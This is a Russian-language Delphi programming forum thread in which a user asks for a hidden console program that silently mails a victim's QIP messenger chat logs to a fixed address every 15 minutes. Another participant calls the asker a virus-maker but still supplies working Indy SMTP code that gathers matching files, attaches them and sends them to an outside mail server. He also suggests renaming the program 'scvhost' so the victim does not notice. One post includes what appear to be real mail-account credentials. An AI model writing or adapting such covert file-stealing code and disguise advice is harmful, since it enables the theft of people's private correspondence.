Отправка файла на мыло

Тема в разделе "Delphi - Сети", создана пользователем aspcartman, 26 ноя 2007.

Статус темы:
Закрыта.
  1. aspcartman

    aspcartman Гость

    Здрасть. Сопсн такая тема. Нужно написать консольное приложение, которое бы при запуске отпровляло все файлы из заданной папки с именнем *.qhf на указанный в коде имейл. Очень требуется. Помогите начинающему! Киньте ссылки на мануалы, или если напишите код то буду в двойне благодарен!
    Использую CodeGear Delphi for win32 2007 (если нужно).
     
  2. morpheus

    morpheus скриптописец

    Регистрация:
    7 авг 2006
    Сообщения:
    3.927
    Симпатии:
    0
    Прууветь...
    Сосна базара нима, туцаеш эту хреньку и без мазы будет щастя тебе
     
  3. aspcartman

    aspcartman Гость

    Спс огромное но пишет мол
    RASConn: TRASConn;

    Ниизвестная штука - "TRASConn" и соответсвенно все что далее не понимает. Чего у меня не хватает? =)
     
  4. aspcartman

    aspcartman Гость

    Полистал код и понял что опыта у меня маловато =) Вкуда писать адрес, путь к файлам и тд и тп? ибо что я сделал так это создал консольное приложение и вместо стандартного кода впихнул этот (подравив немного граматические ошибки)
     
  5. morpheus

    morpheus скриптописец

    Регистрация:
    7 авг 2006
    Сообщения:
    3.927
    Симпатии:
    0
    гы , а ну да то под D5 код подходить

    Вот тут неплохо расписано, да и вообще с такими вапросами надо сразу в гугл обращаться
     
  6. Coldfate

    Coldfate Гость

    А ты попробуй IdSMTPServer. Индюшная компонента. Т. е. берем TIdMessage, заполняем в ней поля и добавляем Attachments (т. е. присоединения, или, в твоем случае, файлы). У меня есть исходники похожего назначения, могу сбросить (даже статья где-то была). Затем ставим TIdSmtpServer, указываем в нем свое мыло, логин и пароль, и тремя методами Connect, Authentificate и Send(Message), где Message - наша TIDMessage отправляем сообщения. Мой пост не тянет на исчерпываемость сведений, но, сорри, опаздываю :).
     
  7. morpheus

    morpheus скриптописец

    Регистрация:
    7 авг 2006
    Сообщения:
    3.927
    Симпатии:
    0
    Для: Coldfate
    я собственно и дал ссілку на индюшёніе компоненты... пишем одно и тоже
     
  8. aspcartman

    aspcartman Гость

    В той справке написанно всунуть на форму - а мне нельзя форму. мне нужно скрытное приложение. тоясть вообще невидно никак. тихонечко сидит и шлет каждые 15 мин.

    Так с этой проблемой я разобрался. спс. ща буду пытатся.
     
  9. aspcartman

    aspcartman Гость

    [DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'AuthenticationType'
    [DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'atLogin'


    Появилось на стадии добавления

    IdSMTP1.AuthenticationType:=atLogin;
    IdSMTP1.Username:='delphi';
    IdSMTP1.Password:='something';
     
  10. root

    root Гость

    Для: aspcartman
    в uses IdSMTP есть (юный вирусмейкер <_<) ?

    view-project manager-улаляешь все кроме (project1.exe)-view source
    в нем пишешь uses IdMessageClient, IdSMTP
    и дальше кодом
    var sender_vir: Tidsmtp;
    sender_vir:= tidsmtp.create(Application)
    ......
    вот рабочая процедура(из Internet)
    Код (Text):
    procedure TForm1.SendMail(Host, Username, Password, Subj, Recip, From, Attach: string);
    var
    M: TIdMessage;
    begin
    M:=TIdMessage.Create(Form1);
    M.From.Text:=From;              // От кого
    M.Recipients.Add;                // Добавили получателя
    M.Recipients.Items[0].Text:=Recip; // Получатель
    M.Subject:=subj;                 // Тема
    TIdAttachment.Create(M.MessageParts, Attach); // Аттачмент
    // Соединяемся

    Memo1.Lines.Add('Соединение с сервером...');
    IdSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Host:=Host;                     // Сервер
    IdSMTP1.Username:=UserName;             // Логин
    IdSMTP1.Password:=Password;             // Пароль
    try
    // Пробуем соединиться
    IdSMTP1.Connect();
    except
    Memo1.Lines.Add('Ошибка! Сервер не найден.');
    exit;
    end;
    // Пробуем отправить файл
    try
    if IdSMTP1.Connected then begin
    Memo1.Lines.Add('Отправка файла...');
    IdSMTP1.Send(M);
    IdSMTP1.Disconnect;
    Memo1.Lines.Add('Файл успешно отправлен.');
    Button2.Enabled:=false;
    end;
    except
    Memo1.Lines.Add('Ошибка соединения. Данные не отправлены.');
    IdSMTP1.Disconnect;
    end;
    end;
     
  11. aspcartman

    aspcartman Гость

    Обижаешь, есть канешна.

    Процедурка не подходит по одной простой причине что мненужно скрытое приложение.

    Кстати, где брать INDY? Я его брал с их сайта, вообще както боком поставилось. Protocols вообще не щакомпилилсь и соответственно не поставились. Вообще конкретная мусорка получилась. Наверное ща делфю переустановлю.

    Странно делфя 2007 весит 1,2гига (до этого юзал 70мб лайтную) и нету инди.
     
  12. root

    root Гость

    Для: aspcartman
    Код (Text):
    program Project2;

    uses
    Forms,
    IdMessage, IdSMTP;
    // Если нет в палитре компонетов то
    //      IdSMTP in 'Путь\до\IdSMTP.pas',
    //        IdMessage in 'Путь\до\IdMessage.pas';
    //
    //
    //
    //

    {$R *.res}
    var
    sender1: TIdSMTP;
    att: TIdMessage;


    begin
    Application.Initialize;
    Application.Run;
    sender1:= TIdSMTP.Create(Application );
    sender1.Host := 'smtp.list.ru';
    sender1.Port :=25;
    sender1.AuthenticationType := atLogin;
    sender1.Username :='';//логин
    sender1.Password :='';//пароль
    try
    sender1.Connect();
    except
    exit;
    end;
    if sender1.Connected then
    begin
    att:= TIdMessage.Create(Application );
    att.From.Text :='';// от кого
    att.Recipients.Add.Text :='';// кому
    TIdAttachment.Create(att.MessageParts, 'c:\Web.log');
    sender1.Send(att )
    end;



    end.
     
  13. aspcartman

    aspcartman Гость

    Спасибо. Щас посмотрю. Покачто вот что у меня получилось:
    Код (Text):
    program Project2;

    {$APPTYPE CONSOLE}

    uses
    SysUtils, Idsmtp, IdMessageClient, IdSMTPBase;
    var
    IdSMTP1: TIdSMTP;
    Msg: TIdMessage;
    begin
    IdSMTP1.Port:=25;
    IdSMTP1.Host := 'smtp.mail.ru';
    IdSMTP1.Connect(5000);
    IdSMTP1.AuthType:=satDefault;
    IdSMTP1.Username:='iorka';
    IdSMTP1.Password:='300358';
    Msg.Subject:='тема сообщения';                  //текст темы сообщения
    Msg.Recipients.EMailAddresses:='bogdanwe@mail.ru';
    //указываем адрес получателя
    Msg.From.Adress:='delphi@mail.ru';       //указываем автора письма
    Msg.Body.Text:='текст сообщения';          //размещаем текст сообщения
    Msg.Date:=StrToDate('01.12.2004');//дата отправки письма может быть любой
    if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
    end.


    Он не понимает TIdMessage и соответственно все что начиается на msg не пашет
     
  14. root

    root Гость

    Для: aspcartman
    только переименовать в scvhost не забудь <_<


    Для: aspcartman
    uses
    IdMessage, IdSMTP;


    Для: aspcartman
    IdMessageClient выкини его
     
  15. aspcartman

    aspcartman Гость

    Прошу прощения за тупость ))) Нужнобыло в юзыз IdMessage всунуть

    А кого в переменовать и зачем? =)
     
  16. root

    root Гость

    Для: aspcartman
    чтоб жертва не догадалась <_<
     
  17. aspcartman

    aspcartman Гость

    <_<

    Ну вот оставляю все как есть, пишу ниже даты до if
    TIdAttachment.Create(Msg.MessageParts,'ПУТЬ'); но не пашет
     
  18. root

    root Гость

    Для: aspcartman
    в uses SysUtils
    в var
    f: TSearchRec ;
    FindFirst('c:\*.log',faAnyFile ,f);
    if F.name <> '' then
    begin
    TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
    while FindNext(F) = 0 do
    begin
    TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
    end;
    FindClose(f);
    sender1.Send(att )
    end;
     
  19. aspcartman

    aspcartman Гость

    Ну воть =)

    Хочу прибавить к письму все файлы аля
    C:\programm files\qip\logs\*.sqf
    и отправить их одним сообщением.


    ЗЫ

    TIdAttachment.Create(Msg.MessageParts,'Ну тут типа путь к одному файлику');

    пишет

    [DCC Error] Project2.dpr(28): E2034 Too many actual parameters
    [DCC Warning] Project2.dpr(28): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'
     
  20. root

    root Гость

    Для: aspcartman
    Код (Text):
    program Project2;

    uses
    forms,
    IdMessage,
    IdSMTP,SysUtils;

    {$R *.res}
    var
    sender1: TIdSMTP;
    att: TIdMessage;
    f: TSearchRec;
    begin
    Application.Initialize;
    Application.Run;
    sender1:= TIdSMTP.Create(Application);
    sender1.Host := 'smtp.list.ru';
    sender1.Port :=25;
    sender1.AuthenticationType := atLogin;
    sender1.Username :='';
    sender1.Password :='';
    try
    sender1.Connect();
    except
    exit;
    end;
    if sender1.Connected then
    begin
    att:= TIdMessage.Create(Application );
    att.From.Text :='';
    att.Recipients.Add.Text :='';
    FindFirst('c:\*.log',faAnyFile ,f);
    if F.name <> '' then
    begin
    TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

    while FindNext(F) = 0 do
    begin
    TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

    end;
    FindClose(f);
    sender1.Send(att );
    end;

    end;



    end.
     
Загрузка...
Похожие Темы - Отправка файла на
  1. k85
    Ответов:
    4
    Просмотров:
    85
  2. k85
    Ответов:
    10
    Просмотров:
    880
  3. motogarri
    Ответов:
    4
    Просмотров:
    793
  4. JohnLemon
    Ответов:
    18
    Просмотров:
    1.556
  5. erdi
    Ответов:
    3
    Просмотров:
    1.380
Статус темы:
Закрыта.

Поделиться этой страницей